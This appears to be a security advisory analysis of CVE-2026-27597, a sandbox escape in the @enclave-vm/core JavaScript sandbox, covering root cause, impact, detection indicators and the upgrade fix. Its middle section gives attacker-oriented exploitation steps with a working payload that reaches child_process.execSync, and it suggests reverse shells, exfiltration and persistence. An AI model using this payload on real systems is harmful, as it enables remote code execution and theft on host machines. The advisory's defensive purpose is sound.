CVE-2026-27597: 
JavaScript vulnerability analysis and mitigation

CVE-2026-27597 is a critical sandbox escape vulnerability in @enclave-vm/core, the JavaScript sandbox component of the Enclave library designed for safe AI agent code execution. It allows unauthenticated attackers to escape the security boundaries enforced by the sandbox and achieve remote code execution (RCE) on the host system. All versions up to and including 2.10.1 of the npm package @enclave-vm/core (by agentfront) are affected; the issue was fixed in version 2.11.1. The vulnerability was responsibly disclosed by researcher @c0rydoras, published to the GitHub Advisory Database on February 22, 2026, and assigned CVE-2026-27597 on February 25, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, GHSA).

The root cause is improper control of code generation (CWE-94), stemming from insufficient isolation of intrinsic JavaScript objects within the sandbox. Specifically, an attacker can obtain the native Object constructor instead of the intended SafeObject wrapper, then use Object.getOwnPropertyDescriptors to access properties that should be restricted. Two distinct escape paths exist: (1) when a memory limit is set (the default), the __host_memory_track__ host object can be leveraged via its function constructor to call return process and access Node.js built-in modules such as child_process; (2) when no memory limit is set, a host reference can be obtained through Node.js's nodejs.util.inspect.custom symbol (e.g., triggered via console.log), which exposes the host function constructor chain. Both paths ultimately allow execution of arbitrary OS commands via child_process.execSync. The fix in v2.11.1 hardened intrinsic object isolation, improved console isolation, closed AST validation gaps, and added defensive checks around constructor access and prototype traversal (GHSA, Patch Commit).

Successful exploitation allows a malicious actor submitting untrusted JavaScript code to an Enclave instance to fully escape the sandbox and execute arbitrary commands on the underlying host system as the process user. This results in complete compromise of confidentiality (unauthorized data access), integrity (arbitrary data modification), and availability (potential denial of service or system disruption). Because the scope is changed (CVSS S:C), the impact extends beyond the sandboxed component to the host environment, enabling lateral movement, credential theft, or deployment of persistent malware (GitHub Advisory, GHSA).

Two detailed proof-of-concept (PoC) exploits are publicly available in the GitHub security advisory, covering both the default memory-limit and no-memory-limit configurations (GHSA). The vulnerability requires no authentication, no privileges, and no user interaction, making it trivially exploitable by any network-accessible attacker who can submit code to an Enclave instance. As of the time of disclosure, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been reported (Feedly). The EPSS score is approximately 0.775% (74th percentile), and the vulnerability is not currently listed in the CISA KEV catalog. Qualys scanner (detection ID 5008017) and Tenable Nessus (plugin 301066) have both added detection for this vulnerability (Feedly).

1. Identify target: Locate any application or service that uses @enclave-vm/core versions ≤ 2.10.1 to execute user-supplied or AI-generated JavaScript code.
2. Determine memory limit configuration: Assess whether the Enclave instance is initialized with a memory limit (default behavior) or with memoryLimit: 0. This determines which escape path to use.
3. Escape via __host_memory_track__ (memory limit enabled — PoC 1): Submit the following payload to the Enclave's run() method:

const op = {}[["__proto__"]];
const ho = op[["constructor"]];
const glob = ho.getOwnPropertyDescriptors(this);
return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\n"),
};

4. Escape via nodejs.util.inspect.custom (no memory limit — PoC 2): If memoryLimit: 0, use the nodejs.util.inspect.custom symbol to trigger host reference exposure through console.log, then chain through the inspect function's constructor to reach process and execute commands.
5. Execute arbitrary OS commands: Replace "id" with any desired shell command (e.g., reverse shell, data exfiltration) passed to child_process.execSync() on the host system.
6. Achieve persistence or lateral movement: Use the obtained process object or shell access to install backdoors, exfiltrate credentials, or pivot to other systems (GHSA).

• Logs: Unexpected or anomalous JavaScript payloads submitted to Enclave's run() API containing strings such as __proto__, constructor, getOwnPropertyDescriptors, __host_memory_track__, nodejs.util.inspect.custom, getBuiltinModule, or child_process.
• Process: Unusual child processes spawned by the Node.js process hosting Enclave (e.g., sh, bash, id, whoami, curl, wget, python) that are not part of normal application behavior.
• Network: Unexpected outbound connections from the Node.js server process to external IPs, particularly following code execution requests to the Enclave API.
• File System: New or modified files in the application directory, unexpected cron jobs, or new user accounts created by the Node.js process user after Enclave API calls.
• Application Logs: Errors or stack traces in Node.js logs referencing SafeObject, enclave-vm, or host_memory_track alongside unexpected process or module access patterns (GHSA).

The primary remediation is to upgrade @enclave-vm/core to version 2.11.1 or later immediately, as this release closes all known sandbox escape paths (GitHub Advisory). No official configuration-based workaround is available; both the default (memory-limited) and no-memory-limit configurations are vulnerable via different escape paths. Organizations unable to patch immediately should consider restricting network access to services that expose Enclave's code execution functionality, and should avoid allowing untrusted users to submit arbitrary code to Enclave instances until patched. Audit all deployments of @enclave-vm/core ≤ 2.10.1 using dependency scanning tools (Qualys plugin 5008017, Tenable Nessus plugin 301066) to identify affected instances (GHSA).

The vulnerability received coverage from The Hacker Wire, which published an article titled "Enclave Critical RCE via Sandbox Escape CVE-2026-27597" shortly after disclosure (The Hacker Wire). Security community members discussed the issue on Mastodon and Bluesky, with posts from accounts including @thehackerwire and @Matchbook3469 highlighting the critical severity and public PoC availability. The infinitsec.net blog also published a dedicated post on the sandbox escape (infinitsec). The vulnerability was credited to researcher @c0rydoras for responsible disclosure and provision of detailed PoC examples (GHSA).